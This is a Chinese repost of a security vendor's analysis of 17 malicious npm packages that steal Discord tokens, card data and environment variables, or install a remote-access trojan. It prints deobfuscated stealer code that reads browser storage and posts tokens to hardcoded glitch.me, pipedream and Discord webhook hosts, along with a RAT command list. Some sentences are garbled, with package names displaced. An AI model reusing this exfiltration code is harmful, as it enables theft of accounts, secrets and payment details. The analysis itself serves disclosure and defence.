npm存储库中发现17个恶意软件包旨在窃取Discord令牌

npm存储库中发现17个恶意软件包旨在窃取Discord令牌

JFrog 安全研究团队使用我们的自动化工具持续监控流行的开源软件 (OSS) 存储库,并向存储库维护者和更广泛的社区报告发现的任何漏洞或恶意包。最近,我们在 PyPI 存储库中披露了 11 个恶意软件包这一发现表明攻击的方法越来越复杂。PyPI 恶意软件包中使用的高级规避技术预示着一个令人不安的趋势,即攻击者在攻击开源软件时变得越来越隐蔽。 

紧随该报告之后,我们现在正在分享我们最近的工作成果——在 npm(Node.js 包管理器)存储库披露了 17 个由我们的自动扫描工具拾取的恶意包。试图攻击用户的 Discord 令牌,这是一组字母和数字,用作访问 Discord 服务器的授权码。它实际上是用户的凭据。简单地说:获得受害者的 Discord 令牌使攻击者可以完全访问受害者的 Discord 帐户。

我们向npm 代码维护者披露了这17 个恶意包,这些包被迅速从 npm 存储库中删——这很好地表明这些包确实引起了问题。幸运的是,这些软件包在获得大量下载(基于 npm 记录)之前就被删除了,因此我们设法避免了类似于我们上次 PyPI 披露的情况,即恶意软件包在它们被下载之前被下载了数万次检测到并删除。

包的有效载荷多种多样,从信息窃取程序到完整的远程访问后门。此外,这些包具有不同的感染策略,包括域名抢注、依赖混淆和木马功能。 

在我们深入了解我们发现的内容以及如何最好地保护自己免受此威胁的详细信息之前,我们还建议您通读我们的文章,了解有关漏洞扫描最佳实践的提示

报告的包

“感染方法”是从包元数据中猜测出来的——没有观察到实际的攻击。

包名版本 Payload感染方法
prerequests-xcode1.0.4远程访问木马 ( RAT )未知
discord-selfbot-v1412.0.3Discord 令牌抓取器Typosquatting/木马 (discord.js)
discord-lofy11.5.1Discord 令牌抓取器Typosquatting/木马 (discord.js)
discordsystem11.5.1Discord 令牌抓取器Typosquatting/木马 (discord.js)
discord-vilao1.0.0Discord 令牌抓取器Typosquatting/木马 (discord.js)
fix-error1.0.0PirateStealer(Discord 恶意软件)木马
wafer-bind1.1.2环境变量窃取器Typosquatting (wafer-*)
wafer-autocomplete1.25.0环境变量窃取器Typosquatting (wafer-*)
wafer-beacon1.3.3环境变量窃取器Typosquatting (wafer-*)
wafer-caas1.14.20环境变量窃取器Typosquatting (wafer-*)
wafer-toggle1.15.4环境变量窃取器Typosquatting (wafer-*)
wafer-geolocation1.2.10环境变量窃取器Typosquatting (wafer-*)
wafer-image1.2.2环境变量窃取器Typosquatting (wafer-*)
wafer-form1.30.1环境变量窃取器Typosquatting (wafer-*)
wafer-lightbox1.5.4环境变量窃取器Typosquatting (wafer-*)
octavius-public1.836.609环境变量窃取器Typosquatting (octavius)
mrg-message-broker9998.987.376环境变量窃取器依赖混淆

为什么要窃取 Discord 令牌?

我们最近看到了大量的 Discord 令牌抓取恶意软件,以前出现在我们的 PyPI 出版物(例如 noblesse、DiscordSafety)中,现在也出现在 npm 存储库中。

Discord是一个无处不在的数字通信平台,拥有超过 3.5 亿注册用户,可通过语音通话、视频通话、短信和媒体文件(或其他任意文件)进行通信。这是私下(用户对用户)或在称为“服务器”的持久虚拟房间内完成的。

考虑到这一点,人们可能会想:为什么要窃取 Discord 令牌?

根据我们的研究,我们假设了几个诱人的原因:

  1. 使用该平台作为攻击的一部分Discord 服务器通常用作匿名命令和控制 (C2) 服务器,控制远程访问木马 (RAT) 甚至整个僵尸网络。或者,Discord 服务器可以用作匿名渗透渠道。在我们之前的研究中,我们注意到“noblesse”恶意软件家族使用 Discord 网络钩子来窃取被盗数据。如果攻击者获得任意 Discord 用户/服务器,这将允许更好的攻击匿名化,因为使用这些凭据的任何攻击都将被追踪到合法用户而不是攻击者。
  2. 向 Discord 用户传播恶意软件 被黑的 Discord 帐户可用于社会工程目的,以继续传播恶意软件——手动或通过蠕虫自动传播。与完全陌生人发送的文件相比,受害者更有可能接受(并执行)来自 Discord 朋友帐户的任意文件。
  3. 出售被盗的高级帐户Discord 运营着一项名为“ Discord Nitro ”的高级服务。” 这项服务目前每年收费 100 美元,并为用户提供多种装饰选项(表情符号、徽章等)以及“提升”所选服务器的选项,从而提高该服务器上流的通话和视频质量。攻击者可能会瞄准已购买 Nitro 的 Discord 帐户,以便在在线市场上以低价转售它们。例如,这可以在“playerup.com”市场中看到:
npm存储库中发现17个恶意软件包旨在窃取Discord令牌

该市场出售独立的 Nitro 密钥和启用了 Nitro 的整个帐户。

为了进一步了解 Discord 恶意环境,Sophos 还对该主题进行了广泛的研究

Discord 令牌抓取器

由于这种攻击有效载荷的流行,GitHub 上发布了很多带有构建说明的 Discord 令牌抓取器:

npm存储库中发现17个恶意软件包旨在窃取Discord令牌

攻击者可以使用其中一个模板并开发自定义恶意软件,而无需广泛的编程技能——这意味着任何新手黑客都可以在几分钟内轻松完成此操作。如前所述,这可以与各种在线混淆工具结合使用,以避免使用基本的检测技术。

重要的是要注意,与完整的 RAT 后门相比,这些有效载荷不太可能被防病毒解决方案捕获,因为 Discord 窃取程序不会修改任何文件,也不会在任何地方注册自己(例如在下次启动时执行)并且不执行可疑操作,例如生成子进程。

包是由同一作者(davisousa)公布,并伪装成流行的合法库的修改discord.js,这使得与Discord的API互动。discord-lofydiscord-selfbot-v14

以经典的木马方式,这些包试图通过从原始包中复制 README.md 来误导受害者:

npm存储库中发现17个恶意软件包旨在窃取Discord令牌

该恶意软件的作者以原始 discord.js 库为基础,将混淆后的恶意代码注入文件:src/client/actions/UserGet.js

npm存储库中发现17个恶意软件包旨在窃取Discord令牌

代码的混淆版本是巨大的:超过 4,000 行不可读的代码,包含所有可能的混淆方法:损坏的变量名称、加密的字符串、代码扁平化和反射的函数调用:

function I6(b, t, D, F, T, s,...) {
    return L(by - 0x2c8, Ll);
}
 
function I3(b, t, D, F...) {
    return L(IR - -0x32d, tJ);
}
 
function I0(b, t, D, F,...) {
    return L(vy - -0x3c2, LM);
}
 
function a(b, t, D, F,...) {
    return L(Ly - -0x5f, v7);
}

通过手动分析和脚本编写,我们能够对包进行反混淆并揭示其最终有效载荷非常简单——有效载荷只是遍历知名浏览器的本地存储文件夹(和 Discord 特定文件夹),然后在它们中搜索字符串使用正则表达式看起来像一个 Discord 令牌。任何找到的令牌都通过 HTTP POST 发送回硬编码服务器https://aba45cf.glitch.me/polarlindo

paths = ['/Users/user/AppData/Roaming/Discord/Local Storage/leveldb'    
             '/Users/user/AppData/Roaming/Lightcord/Local Storage/leveldb'
             '/Users/user/AppData/Roaming/discordptb/Local Storage/leveldb'
             '/Users/user/AppData/Roaming/discordcanary/Local Storage/leveldb'
             '/Users/user/AppData/Roaming/Opera Software/Opera Stable/Local Storage/leveldb',
             '/Users/user/AppData/Roaming/Opera Software/Opera GX Stable/Local Storage/leveldb'
             '/Users/user/AppData/Local/Amigo/User Data/Local Storage/leveldb'
             '/Users/user/AppData/Local/Torch/User Data/Local Storage/leveldb',
             '/Users/user/AppData/Local/Kometa/User Data/Local Storage/leveldb',
              '/Users/user/AppData/Local/AppData/Local/Orbitum/User Data/Local Storage/leveldb'
              '/Users/user/AppData/Local/CentBrowser/User Data/Local Storage/leveldb'
              '/Users/user/AppData/Local/7Star/7Star/User Data/Local Storage/leveldb'
              '/Users/user/AppData/Local/Sputnik/Sputnik/User Data/Local Storage/leveldb'
              '/Users/user/AppData/Local/Vivaldi/User Data/Default/Local Storage/leveldb'
              '/Users/user/AppData/Local/Google/Chrome SxS/User Data/Local Storage/leveldb'
              '/Users/user/AppData/Local/Epic Privacy Browser/User Data/Local Storage/leveldb'
              '/Users/user/AppData/Local/Google/Chrome/User Data/Default/Local Storage/leveldb'
              '/Users/user/AppData/Local/uCozMedia/Uran/User Data/Default/Local Storage/leveldb'
              '/Users/user/AppData/Local/Microsoft/Edge/User Data/Default/Local Storage/leveldb'
              '/Users/user/AppData/Local/Yandex/YandexBrowser/User Data/Default/Local Storage/leveldb'
              '/Users/user/AppData/Local/Opera Software/Opera Neon/User Data/Default/Local Storage/leveldb'
              '/Users/user/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/Local Storage/leveldb'];
paths.forEach(p => getToken(p))
function getToken(p) {
    fs.readdir(p, (e, f) => {
        if (f) {
            f = f.filter(f => f.endsWith("ldb"))
            f.forEach(f => {
                var fileContent = fs.readFileSync(`${p}/${f}`).toString()
                var noMFA = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/
                var mfa = /"mfa\.[\d\w_-]{84}"/
                var [token] = noMFA.exec(fileContent) || mfa.exec(fileContent) || [undefined]
                if (token) fetch("http://ip-api.com/json/").then(r => r.json()).then(r => fetch('https://aba45cf[.]glitch[.]me/polarlindo', {
                    method: "POST",
                    body: JSON.stringify({
                        token: token,
                        ip: r.query
                    })
                }))
            })
        }
    })
}

在  和包是由不同的作者上传的,但非常类似于之前的两个包,除了渗出方法-偷来的令牌发送通过硬编码回Discord的网络挂接。例如,discordsystem exfiltrates以下网络挂接:

https://canary.discord.com/api/webhooks/903018156283551775/lJOJ9526e_rzw0Js2DQPdV0eYQd5RQybtUcJqolp84JTwlxJxaWnuam9FyUplYN2TJfTdiscordsystemdiscord-vilao

PirateStealer

该软件包是另一个承诺“修复 discord selfbot 中的错误”的木马软件包。在检查包代码时,很容易看出它被混淆了:fix-error

eval(function(p, a, c, k, e, d) {
    while (c--) {
        if (k[c]) {
            p = p["\\x72\\x65\\x70\\x6C\\x61\\x63\\x65"](new RegExp("\\x5C\\x62" + c + "\\x5C\\x62", "\\x67")
        }
    };
    return p
}("\\x35\\x39\\x20\\x32\\x35\\x3D\\x5B\\x22\\x5C\\x31\\x31\\x5C\\x31\\x34\\x5C\\x34\\x32\\x5C\\x31\\x35...

这一次,有效载荷可以很容易地通过替换为.evalconsole.log

与 使用的混淆器不同,这个混淆器不会改变代码流,而是坚持基本原则(混淆字符串和替换变量名称),因此完全去混淆非常简单:discord-lofy

...
 
function listDiscords() {
    exec(_0[34], function(_2, _4, _12) {
        if (_4[_0[9]](_0[35])) {
            runningDiscords[_0[11]](_0[36])
        };
        if (_4[_0[9]](_0[37])) {
            runningDiscords[_0[11]](_0[38])
        };
        if (_4[_0[9]](_0[39])) {
            runningDiscords[_0[11]](_0[40])
        };
        killDiscord()
    })
}
 
function killDiscord() {
    runningDiscords[_0[12]]((_3) => {
        exec(`${_0[41]}${_3}${_0[42]}`, (_2) => {
            if (_2) {
                return
            }
        })
    });
    Infect();
    pwnBetterDiscord()
}
 
...

在检查去混淆后的代码后,很明显这是臭名昭著的PirateStealer黑客工具的混淆版本。该工具会窃取存储在 Discord 客户端中的私人数据,例如信用卡、登录凭据和个人身份信息 (PII)。

hack 工具的工作原理是将恶意的 Javascript 代码注入 Discord 客户端。

注入的代码监视用户并将窃取的信息发送回硬编码的 Webhook 地址: 

m = {
    username: "Vilao",
    content: "",
    embeds: [{
        title: "Cartão Adicionado",
        description: "**Nome:**```" + c.username +
                                "#" + c.discriminator +
                   "```\n**ID:**```" + c.id + "```\n
                      **Email:**```" + c.email + "```\n
              **Tipo de nitro:**```" + GetNitro(c.premium_type) +
               "```\n**Badges:**```" + GetBadges(c.flags) + "```\n
                **Cartão N°: **```" + e +
          "```\n**Expira em: **```" + n + "/" + r + "```\n
                      **CVC: **```" + t + "```\n
                   **Região: **```" + l + "```\n
                   **Estado: **```" + o + "```\n
                   **Cidade: **```" + s + "```\n
                       **ZIP:**```" + i + "```\n
                   **Bairro: **```" + a + "```\n
                     **Token:**```" + p + "```\n
                       **IP: **```" + d + "```",
        author: {
            name: "Vilao"
        },
        footer: {
            text: "Vilao"
        },
        thumbnail: {
            url: "https://cdn.discordapp.com/avatars/" + c.id + "/" + c.avatar
        }
    }]
};
SendToWebhook(JSON.stringify(m))

远程访问木马

该软件包没有描述,但有一个令人印象深刻的依赖项列表,其中暗指它打算泄露的敏感数据:prerequests-xcode

{
    "dependencies": {
        "axios": "^0.21.1",
        "clipboardy": "^2.3.0",
        "desktop-screenshot": "^0.1.1",
        "discord": "^0.8.2",
        "discord-pages": "^1.0.2",
        "discord-webhook-node": "^1.1.8",
        "discord.js": "^11.6.4",
        "express": "^4.17.1",
        "http": "0.0.1-security",
        "lazy": "^1.0.11",
        "loudness": "^0.4.1",
        "node-hide-console-window": "^2.1.0",
        "node-webcam": "^0.8.0",
        "open": "^8.3.0",
        "os": "^0.1.2",
        "path": "^0.12.7",
        "ps-node": "^0.1.6",
        "request": "^2.88.2",
        "screenshot-desktop": "^1.12.7",
        "serve-index": "^1.9.1",
        "socket.io": "^4.2.0"
    }
}

当检查包的代码,我们确定它包含的Node.js的端口DiscordRAT(最初用Python编写的),这也是对受害者的机器攻击者完全控制。该恶意软件使用流行的在线工具obfuscator.io 进行混淆,但在这种情况下,检查可用命令列表即可了解 RAT 的功能(逐字复制):

!webcampic - Takes a picture from the webcam
!screenshot - Takes the screenshot of the user's current screen
!vbs - Executes VBScript code received from the attacker
!Powershell - Executes PowerShell code received from the attacker
!clipboard - sends to the attacker content of the clipboard
!download - downloads file from the victim machine
!geolocated - send data from https://geolocation-db.com/json/
!passwords - sends to the attacker all passwords stored in a system
!shell - execute a shell command
!tokens - send to the attacker discord tokens
!listprocess - receive information about running processes
!startup - add a file to the startup

与老式 IRC 恶意软件类似,此 RAT 是通过 Discord 私人聊天控制的。

环境变量窃取器

我们的研究揭示了十个执行环境变量窃取的软件包。该 wafer-*包(wafer-bindwafer-beacon, 等)不包含任何合法的功能,而是包含恶意代码,这是可能的混淆,即使明白一个小片段:

function a0_0x2c5d(_0x3c5edd, _0x43388a) {
    const _0x5bc4a6 = a0_0x5bc4();
    return a0_0x2c5d = function(_0x2c5dfc, _0x1206df) {
        _0x2c5dfc = _0x2c5dfc - 0x1bd;
        let _0x2f5ef7 = _0x5bc4a6[_0x2c5dfc];
        return _0x2f5ef7;
    }, a0_0x2c5d(_0x3c5edd, _0x43388a);
}
req = http['request']({
    'host': ["a5eb7b362adc824ed7d98433d8eae80a", 'm', 'pipedream', "net"]["join"]('.'),
    'path': '/' + (process["env"]["npm_package_name"] || ''),
    'method': "POST"
}), req["write"](Buffer["from"](JSON["stringify"](process['env']))["toString"]("base64")), req["end"]();

恶意软件只是收集所有受害者进程的环境变量并将它们(作为 BASE64 编码的字符串)发布到a5eb7b362adc824ed7d98433d8eae80a.m.pipedream.net。 

这是一个危险的负载,因为环境变量是保存运行时需要使用的机密的主要位置(因为它们比将机密保存在明文存储中或通过命令行变量传递机密更安全)。

例如,AWS CLI支持通过环境变量获取 AWS 秘密访问密钥:

$ export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
$ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
$ export AWS_DEFAULT_REGION=us-west-2 

这些恶意程序包所针对的机器类型,即开发人员和 CI/CD 机器,很可能在用户环境中包含此类机密和访问密钥。

所有其他环境窃取包都包含非常相似的混淆和有效载荷,有时使用略有不同的参数(例如不同的渗透服务器)。

结论

在 npm 存储库中发现的恶意软件与我们的 PyPI 恶意软件监控发现的恶意包非常相似。攻击者通常使用经过轻微修改(甚至未经修改的工具)的公共黑客工具,这些工具使用公共混淆器进行混淆。

我们目睹了最近通过开源软件存储库托管和交付的一系列恶意软件。公共存储库已成为恶意软件分发的便捷工具:存储库的服务器是受信任的资源,与其通信不会引起任何防病毒或防火墙的怀疑。此外,通过 npm 客户端等自动化工具轻松安装,提供了成熟的攻击向量。

鉴于这种威胁,我们不断努力通过暴露新的恶意包和恶意软件作者用来隐藏它们的技术来帮助开发者社区和我们的客户,以提高流行存储库的安全性。我们还建议组织采取预防措施并管理他们使用 npm 进行软件管理,以降低将恶意代码引入其应用程序的风险。

敬请关注

除了暴露新的安全漏洞和威胁之外,JFrog 还通过JFrog Xray 的自动安全扫描,让开发人员和安全团队轻松访问其软件的最新相关信息。继续关注我们的产品更新,包括自动漏洞和恶意代码检测,以抵御最新出现的威胁。

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注